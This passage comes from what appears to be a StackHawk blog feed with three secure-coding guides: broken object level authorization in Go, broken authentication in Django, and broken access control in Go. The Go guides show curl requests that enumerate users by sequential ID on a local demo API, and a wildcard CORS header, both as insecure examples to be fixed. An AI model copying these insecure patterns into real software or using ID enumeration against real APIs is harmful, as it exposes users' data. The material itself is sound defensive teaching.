wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang Broken Object Level Authorization Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-broken-object-level-authorization-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;According to the &lt;a href=&quot;https://owasp.org/Top10/#whats-changed-in-the-top-10-for-2021&quot;&gt;&lt;u&gt;OWASP Top 10 for 2021&lt;/u&gt;&lt;/a&gt;, the most common vulnerability in web APIs is &lt;a href=&quot;https://owasp.org/Top10/A01_2021-Broken_Access_Control/&quot;&gt;&lt;u&gt;broken access control&lt;/u&gt;&lt;/a&gt;. This security issue encompasses several problems, but the largest is broken object level authorization. This problem occurs when an application doesn&amp;#39;t properly verify user permissions before providing access to a privileged resource. It&amp;#39;s a serious security leak that many applications fail to address. &lt;/p&gt;&lt;p&gt;We&amp;#39;re going to look at examples of broken object level authorization (BOLA) issues in golang applications and how you can fix and prevent them. &lt;/p&gt;&lt;h2&gt;Broken Object Level Authorization&lt;/h2&gt;&lt;p&gt;Object level authorization ensures that users can only access the objects they have the proper entitlements for. While third-party applications and services usually implement authentication, applications need to take care of authorizing access to their internal data. BOLA is when the app fails to do that. Depending on the nature of the problem, it allows users to read, alter, delete, or create data that they shouldn&amp;#39;t have access to. &lt;/p&gt;&lt;p&gt;Attackers will quickly exploit a newly discovered BOLA issue in a web API since it&amp;#39;s possible with a few simple scripts. So, BOLA means the likelihood of data loss or compromise is very high. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at an example. &lt;/p&gt;&lt;h3&gt;A BOLA Example&lt;/h3&gt;&lt;p&gt;Think of a typical Create Read Update Delete (CRUD) API for managing website users. &lt;/p&gt;&lt;p&gt;A user looks like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;{
   &amp;quot;id&amp;quot;:&amp;quot;1&amp;quot;,
   &amp;quot;lastname&amp;quot;:&amp;quot;Doe&amp;quot;,
   &amp;quot;firstname&amp;quot;:&amp;quot;John&amp;quot;,
   &amp;quot;dept&amp;quot;:&amp;quot;Janitorial&amp;quot;,
   &amp;quot;email&amp;quot;:&amp;quot;jdoe@demo.com&amp;quot;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;It has five endpoints: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;POST /users/ with a JSON payload to add a user.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;GET /users/{ID} to retrieve a user.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;GET /users to retrieve a list of all users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;PUT /users/{ID} updates a user.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DELETE /users/{ID} deletes a user.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This is a standard implementation for a CRUD API. The potential problem is that you can retrieve, update, and delete a user if you know their ID. &lt;/p&gt;&lt;p&gt;If the API only checks if a user is valid and authenticated, but fails to confirm if they should be able to access the user ID, it has a BOLA vulnerability. Worse yet, if you have BOLA  and the object IDs are sequential, an attacker can exploit the vulnerability and access all your objects. &lt;/p&gt;&lt;h2&gt;Golang Broken Object Level Authorization&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s look at the above example implemented as a golang web service. We&amp;#39;ll see the broken object level authorization in action, and then we&amp;#39;ll fix it. &lt;/p&gt;&lt;p&gt;This service uses &lt;a href=&quot;https://www.gorillatoolkit.org&quot;&gt;&lt;u&gt;Gorilla &lt;/u&gt;&lt;/a&gt;to route API requests, so the main function maps requests to handlers and sets up a listener. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;So we can keep our focus on golang broken object level authorization, we&amp;#39;ll take a few shortcuts in the example code. &lt;/p&gt;&lt;p&gt;Instead of examing the code to create, verify, and manage a secure user session, we&amp;#39;ll use a single mock to confirm that the current session is valid. &lt;/p&gt;&lt;p&gt;Also, instead of looking at SQL or NoSQL code, we&amp;#39;ll use mocks to get and set user information. &lt;/p&gt;&lt;h3&gt;View a User&lt;/h3&gt;&lt;p&gt;So, here&amp;#39;s the &lt;b&gt;getUserById&lt;/b&gt; handler. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;So we can view the BOLA exploit with cURL, we&amp;#39;ll use a single header to simulate a valid session. &lt;/p&gt;&lt;p&gt;&lt;code&gt;egoebelbecker@genosha-2 ~ % curl -H &amp;quot;Session_ID: rekcebleboeg&amp;quot; localhost:8080/users/1
{&amp;quot;id&amp;quot;:&amp;quot;1&amp;quot;,&amp;quot;lastname&amp;quot;:&amp;quot;Doe&amp;quot;,&amp;quot;firstname&amp;quot;:&amp;quot;John&amp;quot;,&amp;quot;dept&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;email&amp;quot;:&amp;quot;jdoe@demo.com&amp;quot;}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Since this GET handler only verifies that the requesting user has a valid session, anyone capable of creating a session can request a user by Id. &lt;/p&gt;&lt;p&gt;Since we&amp;#39;ve described this bug twice now, and we&amp;#39;re looking at code that calls a method named &lt;b&gt;checkSession()&lt;/b&gt;, the bug seems obvious. But that&amp;#39;s not always the case, and it&amp;#39;s a common design mistake. Many APIs are designed to be shared between a web GUI and a mobile app. The apps implicitly enforce object-level authorization when they lack a GUI element that lets you see someone else&amp;#39;s information. Sometimes they&amp;#39;re even structured so only one app can perform some functions. &lt;/p&gt;&lt;p&gt;But an attacker will view the web source code and reverse engineer the API, probably in minutes. This API doesn&amp;#39;t check for proper access and has sequential user ids. It&amp;#39;s in bad shape. &lt;/p&gt;&lt;h3&gt;View All Users&lt;/h3&gt;&lt;p&gt;So let&amp;#39;s imagine that administrative users have a different web interface. They can view all users. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;As a result, an attacker doesn&amp;#39;t need to use sequential ids to grab the entire user database. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s that request. (Some formatting added.) &lt;/p&gt;&lt;p&gt;&lt;code&gt;egoebelbecker@genosha-2 ~ % curl -H &amp;quot;Session_ID: rekcebleboeg&amp;quot; localhost:8080/users
[{&amp;quot;id&amp;quot;:&amp;quot;1&amp;quot;,&amp;quot;lastname&amp;quot;:&amp;quot;Doe&amp;quot;,&amp;quot;firstname&amp;quot;:&amp;quot;John&amp;quot;,&amp;quot;dept&amp;quot;:&amp;quot;HR&amp;quot;,&amp;quot;email&amp;quot;:&amp;quot;jdoe@demo.com&amp;quot;},
{&amp;quot;id&amp;quot;:&amp;quot;2&amp;quot;,&amp;quot;lastname&amp;quot;:&amp;quot;Smith&amp;quot;,&amp;quot;firstname&amp;quot;:&amp;quot;Jane&amp;quot;,&amp;quot;dept&amp;quot;:&amp;quot;Dev&amp;quot;,&amp;quot;email&amp;quot;:&amp;quot;jsmith@demo.com&amp;quot;},
{&amp;quot;id&amp;quot;:&amp;quot;3&amp;quot;,&amp;quot;lastname&amp;quot;:&amp;quot;Neuman&amp;quot;,&amp;quot;firstname&amp;quot;:&amp;quot;Alfred E.&amp;quot;,&amp;quot;dept&amp;quot;:&amp;quot;CEO&amp;quot;,&amp;quot;email&amp;quot;:&amp;quot;whatme@worry.com&amp;quot;},
{&amp;quot;id&amp;quot;:&amp;quot;4&amp;quot;,&amp;quot;lastname&amp;quot;:&amp;quot;Goebelbecker&amp;quot;,&amp;quot;firstname&amp;quot;:&amp;quot;Eric&amp;quot;,&amp;quot;dept&amp;quot;:&amp;quot;Janitorial&amp;quot;,&amp;quot;email&amp;quot;:&amp;quot;noreply@demo.com&amp;quot;}]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Here again, the application designers were relying on limitations in the client applications to stop users from seeing information they shouldn&amp;#39;t. &lt;/p&gt;&lt;h2&gt;Fixing Golang BOLA&lt;/h2&gt;&lt;p&gt;So how do we fix these problems? There are several different approaches. Let&amp;#39;s look at each one in brief. &lt;/p&gt;&lt;h3&gt;The Wrong Answer&lt;/h3&gt;&lt;p&gt;One answer is to remove the user Id from the API URLs.&lt;/p&gt;&lt;p&gt;So the five endpoints might look like this: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;POST /users/ with a JSON payload to add a user.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;GET /users/ to retrieve a user with a Header or JSON payload that contains the Id.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;GET /users to retrieve a list of all users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;PUT /users/ updates a user.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DELETE /users/ deletes a user with a Header or JSON payload that contains the Id.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This only changes two endpoints and leaves all of the vulnerabilities in place. It might make it harder for an experienced hacker to exploit the API. It probably wouldn&amp;#39;t phase a skilled attacker after a few minutes of experimenting with cURL. &lt;/p&gt;&lt;p&gt;There are better solutions. &lt;/p&gt;&lt;h3&gt;Add Object Level Authorizations&lt;/h3&gt;&lt;p&gt;The best and only effective solution is to add code to verify that users have access to the object they want to create, read, update, or delete. &lt;/p&gt;&lt;p&gt;The sample app already has a method to verify that a session is valid. To observe the &lt;a href=&quot;https://en.wikipedia.org/wiki/Single-responsibility_principle&quot;&gt;&lt;u&gt;single responsibility principle&lt;/u&gt;&lt;/a&gt;, let&amp;#39;s add a new one to check if users can do what they&amp;#39;re asking. &lt;/p&gt;&lt;p&gt;There are many ways to do this. Some are better than others, and some fit in a short blog post about BOLA and aren&amp;#39;t production code. &lt;/p&gt;&lt;p&gt;First, let&amp;#39;s define what a user wants to do and whether or not they can do it. Enums work well for this. &lt;/p&gt;&lt;h3&gt;Defining Actions and Authorization&lt;/h3&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now, we can write a method that asks if a user can do what they&amp;#39;re asking. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This is a bare-bones example of object level authorization. The method allows users to read their information and only allows an &lt;b&gt;admin&lt;/b&gt; user to perform other operations. But, since we used an enum for the requested actions, it would be easy to add different levels of entitlements for different actions. So, a department head could modify their team members&amp;#39; records, or a human resources team could add address information, etc. &lt;/p&gt;&lt;h3&gt;Adding It to the API&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s look at the new &lt;b&gt;getUserbyID:&lt;/b&gt; &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We had to modify &lt;b&gt;checkSession&lt;/b&gt; to return a user Id so we could use it to check permissions. If it passes, the method proceeds as before. If not, it returns an error to the requesting application. &lt;/p&gt;&lt;p&gt;Now, &lt;b&gt;getAllusers&lt;/b&gt; looks like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We don&amp;#39;t need to pass a target user to &lt;b&gt;checkAuthorization&lt;/b&gt; since we&amp;#39;re trying to use the List action. &lt;/p&gt;&lt;p&gt;We&amp;#39;d add &lt;b&gt;checkAuthorization&lt;/b&gt; to the other three methods in this app to finish the job, and we have basic object level authorization. Over time it could grow into a more sophisticated example with multiple layers of entitlement instance of a coarse, role-based system. &lt;/p&gt;&lt;h3&gt;Extra Credit&lt;/h3&gt;&lt;p&gt;While we&amp;#39;ve patched the big holes in this simple API, we could take one more step to make it a bit more robust: change the user Ids from numerals to a non-sequential format that&amp;#39;s harder to guess, like UUIDs. While this doesn&amp;#39;t address any security problems in the code, it does make the API a less attractive target. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Wrapping up&lt;/h2&gt;&lt;p&gt;We&amp;#39;ve looked at broken object level authorization and how it exposes APIs to serious security problems. We also looked at an example in golang and how easy a BOLA is to exploit. We addressed the issue with object level authorization code, and then we finished up with another recommendation to help foil simple attacks. &lt;/p&gt;&lt;p&gt;StackHawk has tools to help you find these issues and address them in your code. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Sign up for a free account&lt;/u&gt;&lt;/a&gt; and see how!   &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Eric&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;As of 2021, broken authentication is ranked #7 in the Open Web Application Security Project (OWASP) Top 10 list. Authentication system flaws can allow attackers to get access to user accounts and potentially compromise a whole system by utilizing an admin account.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll describe broken authentication. We&amp;#39;ll also provide some examples and go through some of the strategies for making Django apps more secure. You should be able to apply what you learn to your Django applications.&lt;/p&gt;&lt;h2&gt;Broken Authentication&lt;/h2&gt;&lt;p&gt;Broken authentication refers to security breaches that develop as a result of how business applications authenticate users. One of the most commonly abused security-related components of a business system is its authentication systems.&lt;/p&gt;&lt;p&gt;In order to access additional information on most business apps, users must first authenticate their identities using their credentials. A session ID is issued to each logged-in user. This is a type of token that is used to track the activity of logged-in users, comparable to a temporary replacement for the user&amp;#39;s original login credentials. Because session information is related to the logged-in user, it&amp;#39;s critical to keep track of these session IDs to prevent attackers from impersonating the rightful owner of the session.&lt;/p&gt;&lt;h2&gt;Examples&lt;/h2&gt;&lt;p&gt;There are various ways in which attackers can gain access through compromised authentication systems.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Exploiting session management issues, such as failing to rotate session IDs after a successful login or failing to correctly invalidate session IDs upon logout&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Attempting to brute force legitimate usernames or emails using known passwords&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Allowing people to sign up for the site using passwords that are weak or popular, such as &amp;quot;123456&amp;quot;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Using weak credential recovery processes such as knowledge-based answers&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Using weakly hashed passwords or plain text passwords&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Prevention&lt;/h2&gt;&lt;h3&gt;Strict Password Policy&lt;/h3&gt;&lt;p&gt;It&amp;#39;s best to adopt a strict password policy with a minimum length of eight characters and a maximum length of sixty-four characters. Don&amp;#39;t allow sequential passwords like &amp;quot;1234&amp;quot; or &amp;quot;asdf&amp;quot;, the ever popular &amp;quot;password&amp;quot;, or anything related to the organization or email address (if your business name is Stackhawk, for instance, the password should not include &amp;quot;stackhawk&amp;quot;).&lt;/p&gt;&lt;p&gt;Using packages like&lt;a href=&quot;https://pypi.org/project/django-password-strength/&quot;&gt; &lt;u&gt;Django-password-strength,&lt;/u&gt;&lt;/a&gt;&lt;u&gt; &lt;/u&gt;you can enforce password checks in Django. Alternatively, you can utilize Django&amp;#39;s default settings in the settings.py file, as seen below.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;b&gt;UserAttributeSimilarityValidator&lt;/b&gt; makes sure that the user isn&amp;#39;t using passwords that are similar to existing characteristics they have already provided in their user data, such as their name, email address, or role. As a result, an administrative user with the email address &amp;quot;admin@example.com&amp;quot; is unable to use passwords such as &amp;quot;admin&amp;quot;, &amp;quot;admin123&amp;quot;, &amp;quot;exampleAdmin&amp;quot;, and so on.&lt;/p&gt;&lt;p&gt;&lt;b&gt;MinimumLengthValidator&lt;/b&gt; in the above code snippet indicates that passwords must be at least eleven characters long. Hence, a user with the given email address &amp;quot;test@example.com&amp;quot; will be unable to sign up with the password &amp;quot;Gracey@me&amp;quot; because the password is only nine characters long.&lt;/p&gt;&lt;p&gt;&lt;b&gt;CommonPasswordValidator&lt;/b&gt; prohibits users from using passwords that have been known to be hacked, such as &amp;quot;abcd12345&amp;quot;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;NumericPasswordValidator&lt;/b&gt; restricts users from solely using numbers in their passwords, such as &amp;quot;0987654321&amp;quot;.&lt;/p&gt;&lt;p&gt;In addition to maintaining strong password restrictions, how users log in and out of a business application is equally vital.&lt;/p&gt;&lt;h3&gt;Session Management&lt;/h3&gt;&lt;p&gt;It&amp;#39;s crucial to control how the client or server keeps sessions. Using Django&amp;#39;s built-in settings in settings.py, as illustrated below, is one way to manage how long session information lasts.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Django supports settings parameters like SESSION_EXPIRE_AT_ BROWSER_CLOSE and SESSION_COOKIE_AGE to manage sessions. When the browser is closed, the former invalidates the session regardless of how old the session cookie is. The latter invalidates the session only when the session&amp;#39;s cookie age is exceeded.&lt;/p&gt;&lt;p&gt;Because SESSION_EXPIRE_AT_BROWSER_CLOSE is set to True, the user may not only log out of the business application but also shut the browser without an attacker accessing the same session data kept in the browser, preventing a session hijacking.&lt;/p&gt;&lt;h3&gt;Multifactor Authentication&lt;/h3&gt;&lt;p&gt;In business applications, multifactor authentication (MFA) adds an extra layer of protection. Aside from using a username and password, you can utilize additional methods of identification.&lt;/p&gt;&lt;p&gt;There are three types of multifactor authentication:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;What a user knows, such as their email address or password&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;What the user has, such as an SMS token&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The user&amp;#39;s identity, verified using a fingerprint, iris ID, or facial recognition&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Django supports MFA via third-party packages, not as built-in Django packages. Two popular packages for MFA in Django are&lt;a href=&quot;https://github.com/MicroPyramid/django-mfa&quot;&gt; &lt;u&gt;Django-mfa&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://pypi.org/project/django-multifactor/&quot;&gt; &lt;u&gt;Django-multifactor&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;During the identification phase, you should avoid employing the same type of multifactor group more than once. If a user joins using their email and password, the second authentication method should be a token or a fingerprint. If the second element of authentication is a fingerprint, the third factor of authentication must be a token.&lt;/p&gt;&lt;h3&gt;Vague Responses&lt;/h3&gt;&lt;p&gt;It&amp;#39;s common for people to forget their sign-up email or password. However, ensuring that any message to the user is vague is critical to prevent malicious users from abusing response loopholes. If, for example, a user tries to log in to a business application with the wrong password, it is typical to respond with a message saying, &amp;quot;The password is incorrect. Please try again.&amp;quot; While this may be useful to a genuine user, it&amp;#39;s a security hole that an attacker may take advantage of.&lt;/p&gt;&lt;p&gt;Now that the attacker is aware that the email address exists on the platform, he or she can attempt to brute force the account. So instead of providing specific responses during authentication, use vague responses. &amp;quot;Incorrect email or password,&amp;quot; for example, would be a typical vague response if a user gets one or the other wrong. A potential attacker would therefore be unsure which is inaccurate.&lt;/p&gt;&lt;p&gt;Furthermore, rather than using alerts like &amp;quot;Email not registered,&amp;quot; you might try using a less telling message like &amp;quot;Email sent&amp;quot; for users who try to recover lost passwords. You&amp;#39;ll send emails if the email address exists in the application, but nothing will happen otherwise.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Identity Is Everything&lt;/h2&gt;&lt;p&gt;In this post, we covered how attackers use session data and weak passwords to exploit authentication flaws. We also showed you how to protect yourself from these attackers by implementing stronger session management and password policies.&lt;/p&gt;&lt;p&gt;Poorly implemented authentication in applications introduces vulnerabilities for attacks. As the world continues to rely on the internet, weak authentication is pervasive, and protecting user identities is more critical than ever.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Ifenna Okoye. &lt;/i&gt;&lt;a href=&quot;https://ifenna.hashnode.dev&quot;&gt;&lt;u&gt;&lt;i&gt;Ifenna &lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;is a software developer with a particular interest in backend technologies including Python and Node.js.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang Broken Access Control Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-broken-access-control-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Data protection is an important subject, especially in the information technology industry. This is because data protection and regulation are sometimes difficult. For instance, it is almost seamless for people to get hold of any type of information on the internet.&lt;/p&gt;&lt;p&gt;However, certain types of information shouldn&amp;#39;t be accessible to everyone, such as medical records. To make sure that these data aren&amp;#39;t accessible to just anyone, regulations like the GDPR (General Data Protection Regulation) regulate the sharing of users&amp;#39; personal data. Since information is easily accessible on the internet, the information technology industry must look for ways to protect users&amp;#39; data. &lt;/p&gt;&lt;p&gt;In the IT industry, software developers protect personal data by enabling access control. In this article, we will explore what access control is, then discuss the specifics of broken access control in Golang, examples of what it looks like, and how to prevent it. &lt;/p&gt;&lt;h2&gt;What Is Access Control?&lt;/h2&gt;&lt;p&gt;Another name for access control is authorization. Authorization in the information technology field involves the process of verifying the files, information, and data that a person has access to. Authorization defines permission to access data. In IT companies, access control is mostly done after authentication. &lt;/p&gt;&lt;p&gt;In authentication, the system verifies that a person is truly who they claim to be. For instance, if a person claims to be a user of an application, the system asks for their username and password. After authentication, users can access data from an application according to the permissions they have. To understand how authorization works and how it sets permissions, let&amp;#39;s look at the different access controls and how they operate. &lt;/p&gt;&lt;h3&gt;Methods of Access Control&lt;/h3&gt;&lt;p&gt;There are three different types of access control: discretionary access control (DAC), managed access control (MAC), and role-based access control (RBAC). &lt;/p&gt;&lt;h4&gt;Discretionary Access Control (DAC)&lt;/h4&gt;&lt;p&gt;Discretionary access control bestows the organization&amp;#39;s head the ability to determine who accesses information, files, or data. &lt;/p&gt;&lt;p&gt;This type of access control gives absolute power to an individual to control all objects and properties associated with them. This type of access control is less restrictive. For instance, a user can share data in their care with a malicious user. &lt;/p&gt;&lt;h4&gt;Managed Access Control (MAC)&lt;/h4&gt;&lt;p&gt;Managed access control is a highly restrictive access control method mostly used in organizations that need to be highly secretive or discreet, like the military service. &lt;/p&gt;&lt;p&gt;First, an administrator or root gives a user permission to access information. Next, the user will go through a series of security clearances before they can finally access information. &lt;/p&gt;&lt;h4&gt;Role-Based Access Control (RBAC)&lt;/h4&gt;&lt;p&gt;Role-based access control is the most commonly used access control. In this type, employees are added to a list according to their roles. This list is matched to the database, and employees are allowed access to the data that fit their role. &lt;/p&gt;&lt;p&gt;An advantage of RBAC control is its flexibility. Also, the firm can quickly continue operations with a new employee if an employee leaves since they don&amp;#39;t need to change passcodes. &lt;/p&gt;&lt;h2&gt;Broken Access Control in Golang&lt;/h2&gt;&lt;p&gt;Golang is an amazing programming language that makes building products faster. For instance, building microservices with Golang saves a lot of time and is efficient. However, it is important that software developers secure users&amp;#39; data. This includes incorporating authorization into products. For instance, developers can integrate RBAC into Go applications with the use of a token-based authorization strategy like &lt;a href=&quot;https://github.com/golang-jwt/jwt&quot;&gt;&lt;u&gt;JSON Web Token (JWT)&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;In this section, let&amp;#39;s explore the different ways access control can be broken in Golang. &lt;/p&gt;&lt;h3&gt;Client-Side Caching&lt;/h3&gt;&lt;p&gt;While client-side caching is a very brilliant idea, it also has its downsides that can act as vulnerabilities. For instance, with &lt;a href=&quot;https://github.com/rueian/rueidis&quot;&gt;&lt;u&gt;Redis 6 server-assisted client-side caching&lt;/u&gt;&lt;/a&gt;, Golang can implement caching in their application. This way, we can cache users&amp;#39; information when they successfully log in without the need to send requests to the server on each login attempt. This imposes a vulnerability in that an attacker can pose as the owner when they get hold of a user&amp;#39;s information. &lt;/p&gt;&lt;p&gt;Another vulnerability can result from users accessing websites from public places, like airports or cybercafes, where malicious actors can access their information. &lt;/p&gt;&lt;h3&gt;Insecure Direct Object Reference (IDOR)&lt;/h3&gt;&lt;p&gt;This type of vulnerability occurs when the application allows users to access an object using a direct identifier of the object as their input. This allows the attacker to skip authorization. &lt;/p&gt;&lt;p&gt;For instance, let&amp;#39;s say a user can access their medical records with the route &amp;quot;https://ourpatients.com/userID=1234&amp;quot;. If they can access the records of another patient by tweaking the user ID, then there&amp;#39;s a vulnerability. &lt;/p&gt;&lt;h3&gt;Broken Object Level Authorization (BOLA)&lt;/h3&gt;&lt;p&gt;Just like insecure IDOR, broken object level authorization is a type of vulnerability that occurs when APIs expose endpoints with object identifiers. For instance, when using Gorilla Mux, you&amp;#39;ll get something like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Notice how the user can delete a book according to their ID. If this ID is exposed and users can delete a book by tweaking the ID in the URL, then there&amp;#39;s a vulnerability. &lt;/p&gt;&lt;h3&gt;CORS Misconfiguration&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/golang-cors-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;Cross-origin resource sharing (CORS)&lt;/u&gt;&lt;/a&gt; allows an external domain to access restricted data. Cross-origin resource sharing is essential sometimes. For instance, a front-end application hosted in another domain can access a back-end application in another domain. &lt;/p&gt;&lt;p&gt;However, a miscommunication of CORS can cause broken authorization. For instance, if a developer runs the code below, they&amp;#39;ll accept requests from all external domains. &lt;/p&gt;&lt;p&gt;&lt;code&gt;func enableCors(w * http.ResponseWriter) {
    ( * w).Header().Set(&amp;quot;Access-Control-Allow-Origin&amp;quot;, &amp;quot;*&amp;quot;)
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This can pose a threat, especially if an attacker sends a malicious request to the application. &lt;/p&gt;&lt;h2&gt;Prevention of Broken Access Control in Golang&lt;/h2&gt;&lt;p&gt;In the section above, we explored the different examples of broken access control in Golang. In this section, we&amp;#39;ll discuss how to prevent them. &lt;/p&gt;&lt;h3&gt;CORS Configuration&lt;/h3&gt;&lt;p&gt;To prevent malicious attackers from getting access to your application due to CORS misconfiguration, developers need to configure CORS with security in mind. For instance, instead of giving access to every external domain, developers can give access to their application alone. &lt;/p&gt;&lt;p&gt;For example, if an application&amp;#39;s front-end domain is &amp;quot;https://myfrontend.com&amp;quot;, only this domain should be given access. To do this, we&amp;#39;ll replace &amp;quot;*&amp;quot; with &amp;quot;https://myfrontend.com&amp;quot;. &lt;/p&gt;&lt;p&gt;&lt;code&gt;func enableCors(w * http.ResponseWriter) {
    ( * w).Header().Set(&amp;quot;Access-Control-Allow-Origin&amp;quot;, &amp;quot;https://my frontend.com&amp;quot;)
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Cache Control&lt;/h3&gt;&lt;p&gt;While caching is very helpful, developers can implement &lt;b&gt;max-age&lt;/b&gt; and &lt;b&gt;must-revalidate&lt;/b&gt; as part of cache control in order to prevent vulnerabilities. This way, attackers can&amp;#39;t get access to a user&amp;#39;s information by using their computer. Developers can do this by including this in their request&amp;#39;s header. &lt;/p&gt;&lt;p&gt;&lt;code&gt;Cache-Control &amp;quot;max-age=3600, must-revalidate&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Prevent Broken Object Level Authorization and Insecure Direct Object Reference&lt;/h3&gt;&lt;p&gt;Lots of firms have applications that have BOLA vulnerabilities. To prevent these vulnerabilities, take the following steps: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Use random globally unique identifiers in the URL instead of user IDs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In the case where a firm still makes use of user IDs in routes, ensure that the users have access to a page they&amp;#39;re trying to access.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Don&amp;#39;t give access to users that try to tweak IDs in the URL. Instead, extract IDs from authorization tokens.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Broken authorization is a security breach. This is because it makes users&amp;#39; personal data vulnerable to malicious actors. Although it seems like a lot of work to do in order to protect users&amp;#39; data, there are applications that help manage and monitor your products&amp;#39; security. &lt;/p&gt;&lt;p&gt;For instance, &lt;a href=&quot;https://www.stackhawk.com/solutions/developer-centric-application-security/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; provides a tool for application security. Here developers can monitor their applications, fish out vulnerabilities, and get information on how to fix them. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Ukpai Ugochi. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/hannydevelop&quot;&gt;&lt;u&gt;&lt;i&gt;Ukpai&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer (MEVN), and she contributes to FOSS in her free time. She loves to share knowledge about her transition from marine engineering to software development to encourage people who love software development and don&amp;#39;t know where to begin. &lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[React XML External Entities Guide: Examples and Prevention]]></title><guid 